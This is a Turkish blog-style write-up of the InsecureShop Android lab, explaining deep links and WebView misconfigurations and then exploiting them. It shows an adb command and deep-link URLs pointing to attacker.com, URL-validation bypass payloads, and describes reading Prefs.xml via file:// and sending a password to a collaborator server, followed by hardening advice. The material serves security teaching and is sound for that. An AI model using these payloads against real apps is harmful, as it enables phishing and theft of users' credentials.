Mobil dünyada kullanıcı deneyimini kolaylaştıran Deep Link'ler ve hibrit yapıların kalbi WebView'ler, yanlış bir konfigürasyonla birleştiğinde saldırganlar için "tek tıkla hesap ele geçirme" biletine dönüşebiliyor.

Bu yazıda, InsecureShop lab'ı üzerinden bu iki bileşenin nasıl tehlikeli bir ikiliye dönüştüğünü ve adım adım sömürülebildiğini inceleyeceğiz.

1. Teorik Altyapı: Tehlikeli İkili

Deep Link Nedir?

En basit haliyle Deep Link, kullanıcıyı sadece uygulamayı açmaya zorlamakla kalmayıp, uygulama içindeki spesifik bir noktaya (Activity/Fragment) doğrudan fırlatan teknolojidir. Standart bir link sizi ana sayfada bırakırken; Deep Link, uygulamanın derinliklerindeki bir ürüne veya profile adeta "ışınlar".

Anatomiyi Anlamak

Saldırı yüzeyini anlamak için önce yapıyı doğru analiz etmemiz gerekiyor. Bir Deep Link, standart bir URL gibi görünse de her parçası uygulama tarafında farklı bir tetikleyiciyi temsil eder:

myapp://com.myapp/product?id=10

• Scheme (myapp://): Uygulamanın işletim sistemindeki kimlik kartı. OS, bu eki gördüğü an hangi uygulamayı uyandıracağını anlar.
• Host (com.myapp): Genelde paket adını veya ana modülü temsil eder; navigasyonun başladığı yerdir.
• Path (/product): Uygulama içindeki rotadır; hangi ekranın ayağa kalkacağını söyler.
• Query Parameter (?id=10): En kritik nokta burası. Sayfaya aktarılan dinamik veridir. Bizim senaryomuzda burası, zafiyete giden kapıyı aralayacak olan parametre.

2. Teknik İşleyiş:

Bir Deep Link tıklandığında, işletim sistemi ve uygulama arasında hızlı bir paslaşma gerçekleşir:

1. Kayıt (Registration): Uygulama yüklenirken OS'e; "Eğer myapp:// ile başlayan bir şey görürsen muhatabı benim," der. Android dünyasında bu işin mutfağı AndroidManifest.xml içindeki intent-filter'dır.
2. Tetikleme ve Yakalama: Kullanıcı linke tıkladığında OS devreye girer. Kayıtlı bir uygulama varsa onu ayağa kaldırır, yoksa tarayıcıda hata verir (veya web'e yönlendirir).
3. Parsing ve Routing: Uygulama açılırken OS, tüm URL dizisini bir Intent nesnesiyle uygulamaya teslim eder. Uygulama içindeki kod URL'i parçalar; "nereye gidilecek?" ve "hangi veri işlenecek?" sorularına yanıt arayıp kullanıcıyı ilgili ekrana fırlatır.

Deep Link Türleri: Hangisi Daha Güvenli?

Saldırı yüzeyini belirleyen en önemli faktör, kullanılan link türüdür:

• Custom Scheme (myapp://): En temel yöntem. Uygulama yüklü değilse çuvallar. Çakışmalara ve taklit edilmeye müsaittir.
• Deferred (Ertelenmiş) Link: Kullanıcıyı önce mağazaya gönderir, uygulama yüklendiği an hedef sayfayı açar. Kullanıcı deneyimi dostu ama takibi daha karmaşıktır.
• App Links (Android) / Universal Links (iOS): Standart https:// protokolünü kullanır. Uygulama varsa uygulama, yoksa web sitesi açılır. En güvenli ve modern yöntem budur; çünkü domain doğrulaması gerektirir, saldırganın araya girmesi zordur.

Neden Bu Yapıyı Kullanıyoruz?

Deep Link'lerin bu kadar yaygın olmasının (ve dolayısıyla bizim için büyük bir saldırı yüzeyi oluşturmasının) üç temel sebebi var:

• Kullanıcı Deneyimi: Kullanıcıyı uygulama içinde arama yapma zahmetinden kurtarıp, doğrudan hedefe odaklar.
• Dönüşüm: E-posta veya reklamlardan gelen kullanıcıyı direkt ödeme sayfasına fırlatmak, satış oranlarını doğrudan uçurur.
• Analitik Güç: Hangi kampanyanın veya linkin daha çok "hit" aldığını izlemek, kullanıcı davranışını anlamak için altın değerindedir.

3. WebView: Uygulama İçindeki Truva Atı

WebView'ı, uygulamanın içine gömülmüş küçük bir tarayıcı penceresi gibi düşünebilirsiniz. Kullanıcıyı dışarı (Chrome'a) atmadan web içeriği göstermemizi sağlar. Ancak bu konforun bir bedeli var: Yanlış yapılandırılmış bir WebView, uygulamanın tüm yetkilerini saldırgana teslim edebilir.

Mekanizmanın Kritik Noktaları

Bir WebView'ı incelerken şu üç noktaya odaklanırız:

1. Render Motoru: Arka planda Chromium tabanlı bir motor çalışır ve her şeyi işler.
2. Konfigürasyon: Geliştiricinin neye izin verdiği her şeydir. setJavaScriptEnabled(true) modern web için şart olsa da riskin ilk adımıdır.
3. Bridge (Köprü): addJavascriptInterface ile web sayfası içindeki JS kodlarının, cihazın yerel (Java/Kotlin) fonksiyonlarını çağırması sağlanır. İşte "patladığımız" nokta tam burasıdır.

Hangi Ayarlar Risk Oluşturur?

Statik analiz yaparken (AndroidManifest veya Java/Kotlin sınıflarında) şu "red flag"lere bakıyoruz:

• JS Injection: setJavaScriptEnabled(true) açıksa ve yüklenen sayfada bir XSS varsa, saldırgan uygulamanın yetkileriyle kod koşturabilir.
• Javascript Interface (RCE Riski): Uygulama sınıfları JS'e açılmışsa ve düzgün kısıtlanmamışsa, saldırgan cihazda uzaktan kod çalıştırabilir.
• Dosya Erişimi (Data Leak): setAllowFileAccess(true) veya setAllowUniversalAccessFromFileURLs(true) ayarları açıksa; saldırgan bir file:// linkiyle uygulamanın özel verilerini (database, shared prefs) çekip alabilir.
• Whitelisting Eksikliği: WebView'ın hangi URL'leri açacağı kısıtlanmamışsa, uygulama her türlü zararlı siteye kapısını açmış demektir.

Statik Analiz (JADX-GUI)

Zafiyet aramada ilk durağımız her zaman AndroidManifest.xml dosyasıdır. Burada bizim için en büyük "red flag", dış dünyadan tetiklenebilen bileşenleri tespit etmektir. Odak noktamız ise şu iki kavram:

• Exported="true": Bu ifade, söz konusu Activity'nin sadece uygulamanın içinden değil, dışarıdaki diğer uygulamalar veya işletim sistemi tarafından da çağrılabileceği (herkese açık olduğu) anlamına gelir.
• Intent-Filter: Uygulamanın hangi tür bağlantıları (örneğin bir linke tıklandığında) kabul edeceğini belirleyen bir süzgeçtir. Eğer burada BROWSABLE kategorisi varsa, bu ekran bir web tarayıcısı üzerinden bile tetiklenebilir demektir.

InsecureShop üzerinde yaptığım incelemede, WebView kullanan 2 ana Activity radara takılıyor:

com.insecureshop.WebViewActivity

com.insecureshop.WebView2Activity

WebViewActivity:

com.insecureshop.WebViewActivity altında şu satırları görüyoruz:

Manifest Analizi:

AndroidManifest.xml dosyasındaki şu parça, aslında saldırı planımızın haritasını çıkarıyor:

• Activity: com.insecureshop.WebViewActivity
• Dışa açık bileşen: exported=true
• Scheme: insecureshop://
• Host: com.insecureshop

Bu yapılandırma, bir güvenlik uzmanı için şu üç büyük risk anlamına gelir:

1. Sınırsız Erişim (Exported Activity): Activity dış dünyaya tamamen açık. Yani sadece uygulamanın içinden değil, telefondaki herhangi bir zararlı uygulama veya tarayıcı üzerinden bu ekranı kafamıza göre tetikleyebiliriz.
2. Custom Scheme Tehlikesi: https yerine insecureshop:// gibi özel bir şema kullanılmış. Bu şemayı başka bir uygulama da kendi manifestine ekleyip linkleri çalabilir (Deep Link Hijacking).
3. Giriş Kontrolü Yok: Uygulama "host" kısmına bakıyor ama gelen parametreleri sorgulamıyor. Eğer uygulama url parametresini alıp doğrulamadan WebView'a basıyorsa, saldırgan şu basit linkle kontrolü ele alır: insecureshop://com.insecureshop?url=http://saldırgan.com

Sonuç: Bu tablo, bizi doğrudan bir Open Redirect veya daha kötüsü, WebView yetkilerini kullanarak yapılacak bir Injection saldırısına götürüyor.

WebView kullanımı günümüz Android uygulamalarında oldukça yaygın olsa da, bu bileşenlerin yanlış yapılandırılması çok ciddi güvenlik açıklarına zemin hazırlayabilir. Bu bağlamda, rehberimizin bu bölümünde WebViewActivity ve WebView2Activity içerisindeki WebView ayarlarını analiz ederek olası riskleri inceleyeceğiz.

WebViewActivity: Deep Link ve Zayıf Doğrulama Analizi

Kodun İçine Dalıyoruz: WebView Yapılandırmaları

Sadece bu aktivitelerin dışarıya açık olması bir risk teşkil etmez; asıl mesele bu WebView nasıl konfigüre edildiğidir. Kod bloklarını incelediğimizde karşımıza çıkan tablo şu:

• WebViewActivity: Standart bir görüntüleyici gibi davranıyor ancak dışarıdan gelen URL'leri kontrolsüz kabul ederek "Truva Atı" için kapıyı aralıyor.
• WebView2Activity: İkinci bir risk katmanı. Burada JavaScript'in açık olup olmadığına ve addJavascriptInterface kullanımına odaklanıyoruz.

Bir AppSec uzmanı olarak burada ilk sorumuz şu olmalı: "Bu WebView'lar hangi yetkilere sahip ve ben dışarıdan gönderdiğim bir linkle bu yetkileri manipüle edebilir miyim?

Kod Analizi: Geliştirici Nerede Hata Yaptı?

WebViewActivity içindeki veri işleme mantığı, güvenlik dünyasında "Validation Bypass" (Doğrulama Atlatma) dersi olarak okutulacak cinsten. Geliştirici bir kontrol mekanizması kurmaya çalışmış ama kapıyı kilitlemeyi unutmuş.

Kritik Güvenlik Açıkları

1. Zayıf Domain Kontrolü: contains() metodu bir güvenlik filtresi değildir. Saldırgan, attacker.com/insecureshopapp.com gibi bir URL ile bu kontrolü saniyeler içinde atlatabilir.

2. Fallback Faciası: Kodun else bloğu tam bir "Trust Boundary Violation" örneği. Doğrulama başarısız olduğunda sistemin durması gerekirken, uygulama gidip aynı tehlikeli URL'i tekrar alıyor ve WebView'a basıyor. Yani kontrol varmış gibi görünüyor ama aslında yok.

3. Tutarsız Mantık: Bazı path'lerde (örneğin /web) hiçbir kontrol yapılmadan doğrudan loadUrl çağrılıyor. Bu, saldırgan için en kestirme yol.

Etki Analizi

Bu zayıf halkalar birleştiğinde; saldırgan kullanıcıyı uygulama içinde sahte bir sayfaya çekebilir (Phishing), oturum bilgilerini çalabilir veya WebView yetkileriyle cihazda JavaScript koşturabilir.

WebView Zafiyetleri:

WebViewActivity ismi, dışarıdan gelen URL'in doğrudan içeride render edileceğine dair en büyük ipucumuz. Bu aktivite üzerindeki BROWSABLE etiketiyle birleşen hatalı konfigürasyonlar, şu "ölümcül" senaryolara kapı açıyor:

1. Kontrolsüz Girdi (Untrusted URL Load)

Deep Link üzerinden gelen veri doğrudan WebView'e basılıyorsa, saldırganın eline Phishing ve Session Hijacking için açık çek verilmiş demektir. Kullanıcı, uygulamanın kendi içinde açılan sahte bir login sayfasını ayırt edemez.

2. Tehlikeli Flag'ler: Konfigürasyon Hataları

Kod seviyesindeki şu ayarlar, basit bir yönlendirmeyi tam yetkili bir sömürüye dönüştürür:

• setJavaScriptEnabled(true): JavaScript aktifse, XSS saldırıları artık kaçınılmazdır. Eğer bir de Native Bridge (köprü) varsa, saldırgan uygulama içindeki yerel fonksiyonları tetikleyebilir.
• setAllowUniversalAccessFromFileURLs(true): Belki de en kritik satır. file:// protokolü üzerinden açılan bir dosyanın, cihazdaki diğer yerel dosyalara ve internet kaynaklarına erişmesine izin verir. Bu, yerel dosyaların (database, shared prefs) çalınması için altın değerindedir.
• setDomStorageEnabled(true): Local storage'ın açık olması, hassas token ve session bilgilerinin JS tarafından sızdırılma riskini doğurur.

Saldırı Senaryosu (Exploit Flow)

Teoriyi bir kenara bırakıp saldırganın gözünden bakalım:

1. Oltalamayı Hazırla: Saldırgan, şu tarz bir link oluşturur: insecureshop://com.insecureshop/web?url=http://attacker.com/sahte-login
2. Tetikle: Kullanıcı linke tıklar, WebViewActivity ayağa kalkar.
3. Sızma: Uygulama, URL'i hiçbir doğrulamadan geçirmeden WebView'e yükler. Kullanıcı, uygulamanın güvenli limanında olduğunu sanırken aslında saldırganın sayfasında kimlik bilgilerini elleriyle teslim eder.
4. Derinleş: Eğer yukarıdaki JS ve File Access izinleri açıksa, saldırgan sadece bilgi çalmakla kalmaz; file:// üzerinden cihazdaki gizli verilere de uzanır.

Saldırı Vektörü: Filtreyi Kandırmak

Saldırganın bakış açısıyla, zayıf bir kontrolü atlatmak çocuk oyuncağıdır. Geliştirici sadece "içinde domain geçiyor mu?" diye bakıyorsa, şöyle bir link her zaman geçer:

https://attacker.com/exploit.html?q=insecureshopapp.com

Uygulama: İstismar (Exploitation)

Adım 1: Tetikleme ve Bypass

Sömürü aşamasında iki farklı zafiyet senaryosuna odaklanıyoruz. Yaptığımız analizde gördük ki geliştirici tutarsız bir kontrol mekanizması kurmuş:

• /web yolu: Bu path üzerinde hiçbir doğrulama yok. Yani kapı tamamen açık; doğrudan istediğimiz URL'i yükletebiliyoruz.
• /webview yolu: Burada bir domain kontrolü var ancak sadece string içinde "insecureshopapp.com" geçip geçmediğine bakıyor. Saldırganın bu kontrolü atlatması saniyeler sürer (Örn: attacker.com/insecureshopapp.com).

Laboratuvar ortamında bu durumu simüle etmek için terminalden şu adb komutunu gönderiyoruz:

adb shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://attacker.com/poc.html"

Gerçek Hayatta Bu Saldırı Nasıl Olur?

Testlerimizde kullandığımız ADB komutu, aslında bir saldırganın hazırlayacağı zararlı bir linkin veya sahte bir uygulamanın yapacağı işi simüle ediyor. Gerçek bir senaryoda saldırgan; kurbanı oltalama (phishing) içerikli bir SMS'e, e-postaya veya web sitesindeki bir linke tıklatarak aynı Intent'i cihaz üzerinde tetikleyebilir.

Kullanıcı linke tıkladığı an uygulama otomatik olarak açılır ve WebView, saldırganın zararlı sayfasını uygulamanın kendi parçasıymış gibi kullanıcıya sunar.

Teknik Analiz: Filtreleri Kandırmak

Kodda iki farklı hata tipiyle karşılaştık:

• /web yolu: Tam bir kontrolsüzlük hakim. Hiçbir doğrulama yapılmadığı için istediğimiz URL'i doğrudan içeri basabiliyoruz.
• /webview yolu: Burada bir tık daha "çaba" var; uygulama URL'in insecureshopapp.com ile bitip bitmediğine (endsWith) bakıyor. Ancak bu, bir AppSec uzmanı için sadece bir "hız tümseği".

Bypass Mantığı

Bu tarz basit kontrolleri atlatmanın en eski numarası URL Fragment (#) kullanmaktır.

Payload: https://attacker.com/poc.html%23insecureshopapp.com

Neden çalışıyor? Uygulama kodundaki endsWith kontrolü dizinin sonuna bakar ve "Tamam, güvenli domainle bitiyor" diyerek geçit verir. Ancak WebView bu URL'i açarken %23 (#) işaretinden sonrasını görmezden gelir. Sonuç: Uygulama bizim zararlı sitemize giderken, kod tarafındaki basit filtreyi arkada bırakmış oluyoruz.

Gerçek Hayat Senaryosu

Testlerde kullandığımız ADB komutları işin laboratuvar kısmı. Gerçek hayatta saldırgan bu linki bir SMS veya oltalama e-postasıyla kurbana ulaştırır. Kullanıcı linke tıkladığı an uygulama tetiklenir ve WebView, saldırganın sayfasını "uygulamanın kendi parçasıymış gibi" render eder.

Phishing ile Kimlik Avı

Zafiyeti somutlaştırmak için saldırganın kurbanı nasıl avladığını adım adım izleyelim:

1. Oltalama: Kendi sunucumuzda uygulamanın giriş ekranıyla birebir aynı veya benzer görünen sahte bir sayfa hazırlıyoruz.
2. Sızma: Hazırladığımız bypass linkini kullanıcıya gönderiyoruz. Link tıklandığında telefon tarayıcıya gitmek yerine InsecureShop uygulamasını açıyor.
3. Sahte Güven: Kullanıcı uygulamanın içinde olduğu için karşısındaki ekranı orijinal sanıyor (çünkü WebView'da adres çubuğu yok!).
4. Etki: Kullanıcı giriş yaptığı an, kimlik bilgileri saniyeler içinde bizim sunucumuza düşüyor.

Sonuç: Tek bir linkle, kullanıcı hiçbir anormallik hissetmeden hesabını elleriyle teslim etmiş oluyor.

WebView2Activity:

com.insecureshop.WebView2Activity altında şu satırları görüyoruz:

WebView2Activity: Güvenlik Filtresinin Yokluğu

WebView2Activity bileşenini incelediğimizde, güvenliğin tamamen "boş verilmiş" olduğunu görüyoruz. Buradaki temel sorun, uygulamanın dış dünyadan gelen her veriyi sorgusuz sualsiz kabul etmesi.

Analiz: Nerede Hata Yapıldı?

Geliştirici, dışarıdan gelen veriyi (intent.getDataString()) sadece "içerik boş mu?" diye kontrol etmiş. Verinin ne olduğuna, hangi protokolle (http, file, javascript vb.) geldiğine veya nereyi hedeflediğine dair hiçbir denetim koymamış. Bu ham veri, olduğu gibi webview.loadUrl() fonksiyonuna paslanıyor. Bu durum, WebView'ı saldırganın istediği gibi kullanabileceği bir silaha dönüştürüyor.

Olası Felaket Senaryoları

Bu denetimsizlik şu üç büyük riski beraberinde getiriyor:

• Veri Sızıntısı: Saldırgan file:// protokolüyle uygulamanın gizli veritabanlarına veya ayar dosyalarına (shared preferences) rahatça erişebilir.
• Kod Enjeksiyonu: javascript: protokolü kullanılarak uygulama içinde zararlı script'ler koşturulabilir (XSS).
• Oltalama (Phishing): Kullanıcı, güvenli uygulama ortamında olduğunu sanırken saldırganın sahte web sitesine yönlendirilebilir ve bilgileri çalınabilir.

Özetle: Bu kod yapısı, "kapıya geleni içeri al" mantığıyla çalıştığı için tam bir güvenlik faciası.

Uygulama: İstismar (Exploitation)

WebView2Activity: Tam Yetkili Erişim ve Veri Sızıntısı

WebView2Activity üzerindeki denetimsizliği kanıtlamak için üç aşamalı bir test sürecini göreceğiz. Bu testler, basit bir yönlendirmeden kritik veri hırsızlığına giden süreci net bir şekilde ortaya koyuyor:

1. Dış Dünyaya Açılan Kapı

İlk komutumuzla, uygulamayı kendi Medium sayfamıza yönlendiriyoruz. Herhangi bir whitelist kontrolü olmadığı için uygulama, dışarıdan gelen bu isteği sorgusuz sualsiz kabul ediyor ve sayfayı uygulama içinde render ediyor.

2. Yerel Dosya Erişimi (Local File Theft)

İşleri biraz daha ciddileştiriyoruz. file:// protokolü üzerinden uygulamanın özel dizinine erişmeyi deniyoruz. Sonuç; uygulamanın hassas verilerini sakladığı Prefs.xml dosyasını WebView üzerinde görüntülemeyi başarıyoruz. Bu, uygulamanın sandbox güvenliğinin bypass edildiği andır.

3. Final: Kullanıcı Parolasının Çalınması (Exfiltration)

En kritik aşamada, hazırladığımız bir PoC (Proof of Concept) dosyasını devreye alıyoruz. Bu saldırıda WebView, yerel dosya sistemindeki Prefs.xml dosyasını okuyor ve içerisindeki kullanıcı parolasını bizim kontrolümüzdeki uzak sunucuya (Burp Collaborator) gönderiyor.

Sonuç: Kullanıcı hiçbir şey fark etmeden, sadece bir linkin tetiklenmesiyle tüm giriş bilgileri saldırganın eline geçmiş oluyor. Bu senaryo, kontrolsüz bir WebView'ın nasıl bir casus yazılıma dönüşebileceğinin en somut kanıtıdır.

Çözüm ve Güvenlik Önerileri (Best Practices)

Analiz ettiğimiz bu zafiyetlerin temelinde güvenli kodlama prensiplerinin ihlal edilmesi yatıyor. OWASP MASVS (Mobile Application Security Verification Standard) standartlarını baz alarak bu açıkların önüne nasıl geçebileceğinizi özetledim:

1. WebView Güvenliğini Sıkılaştırın

WebView, doğası gereği dış dünyaya açılan riskli bir penceredir.

• JavaScript'i Kısıtlayın: Eğer web sayfanız statikse setJavaScriptEnabled(false) yapın. Mecbursanız, sadece güvenli domainlerde aktif edin.
• Dosya Erişimini Kapatın: setAllowFileAccess(false) ayarını mutlaka kullanın. Android 11+ sürümlerinde varsayılan kapalı olsa da, yanlış yapılandırma durumunda file:// protokolü üzerinden uygulamanın özel dizinine (/data/data/…) sızılabilir. Bu, shared_prefs veya veritabanlarındaki hassas tokenların çalınması için en kestirme yoldur."
• Arayüz Kontrolü: addJavascriptInterface kullanırken @JavascriptInterface anotasyonuna dikkat edin ve sadece gerekli fonksiyonları dışa açın.

2. Girdi Doğrulama (Input Validation) — Whitelist Stratejisi

endsWith() veya contains() gibi zayıf kontroller yerine Whitelist (Beyaz Liste) yöntemini kullanın:

• Sadece güvenli domainlerin yüklenmesine izin veren bir Whitelist mekanizması kurun. Gelen URL'i Uri.parse() ile parçalara ayırarak getHost() değerini tam eşleşme (equals) ile kontrol edin ve protokolün mutlaka https olduğunu doğrulayın..

Ek Güvenlik (Android 15+): Kod seviyesindeki kontroller (Java/Kotlin) birincil savunma hattınızdır. Android 15+ cihazlar için UriRelativeFilterGroup kullanarak bu savunmayı manifest seviyesinde ek bir katmanla güçlendirin.

3. Intent ve Component Güvenliği: Neden App Links ve Universal Links

Uygulamanın dışarıya açılan kapılarını (Activities) kontrol altında tutun:

• Exported="false": Eğer bir Activity'nin dışarıdan (başka uygulamalar veya linkler aracılığıyla) tetiklenmesine gerek yoksa, AndroidManifest.xml dosyasında android:exported="false" olarak işaretleyin.

· App Links ve Universal Links Nedir?

Geleneksel "Custom Scheme" (insecureshop://) yöntemi doğrulanamaz. Yani telefonunuza yüklü herhangi bir zararlı uygulama da aynı şemayı sahiplenip sizin yerinize gelen verileri çalabilir. App Links/Universal Links ise standart https:// protokolünü kullanır ve işletim sistemi düzeyinde bir sahiplik doğrulaması yapar.

Doğrulama Süreci Nasıl Çalışır?

Sistem, "Bu linki gerçekten bu uygulama mı açmalı?" sorusuna şu şekilde cevap bulur:

• Güven Dosyası: Geliştirici, web sitesinin /.well-known/ dizinine bir doğrulama dosyası yükler (Android için assetlinks.json, iOS için apple-app-site-association).
• Kimlik Eşleştirme: Bu dosya, uygulamanın kimlik bilgilerini (Android'de SHA-256 imzası, iOS'te Team ID/Bundle ID) içerir.
• Sistem Onayı: Uygulama yüklendiğinde işletim sistemi bu dosyayı kontrol eder. Bilgiler eşleşirse, link doğrudan ve güvenli bir şekilde ilgili uygulama ile açılır.

Sonuç: Bu yöntemle, araya girme saldırıları (Intent Hijacking) engellenir ve kullanıcıya "Hangi uygulama ile açılsın?" sorusu sorulmadan güvenli erişim sağlanır.

4. Hassas Verilerin Yerel Korunması

Mobil cihazda veriler "at-rest" (bekleme) halindeyken, cihazın fiziksel olarak çalınması veya root/jailbreak işlemlerine karşı şifrelenmiş olmalıdır.

• Android (EncryptedSharedPreferences & Keystore): Standart SharedPreferences veriyi düz metin olarak tutar. Bunun yerine, anahtarları donanım seviyesinde (TEE) koruyan Android Keystore sistemini kullanan EncryptedSharedPreferences kütüphanesini tercih etmelisin.
• iOS (Keychain Services): Kullanıcı tercihleri için kullanılan UserDefaults güvenli değildir. Parolalar ve tokenlar için veriyi uygulama silinse dahi koruyabilen ve FaceID/TouchID ile erişim kısıtlaması getirilebilen Keychain kullanılmalıdır.

Özetle: Güvenlik, sonradan eklenen bir özellik değil; geliştirme sürecinin bir parçası olmalıdır. Uygulamanızın dış dünyadan aldığı her veriye "şüpheli" gözüyle bakmak, sizi en karmaşık saldırılardan bile koruyacaktır.

Umarım faydalı olmuştur.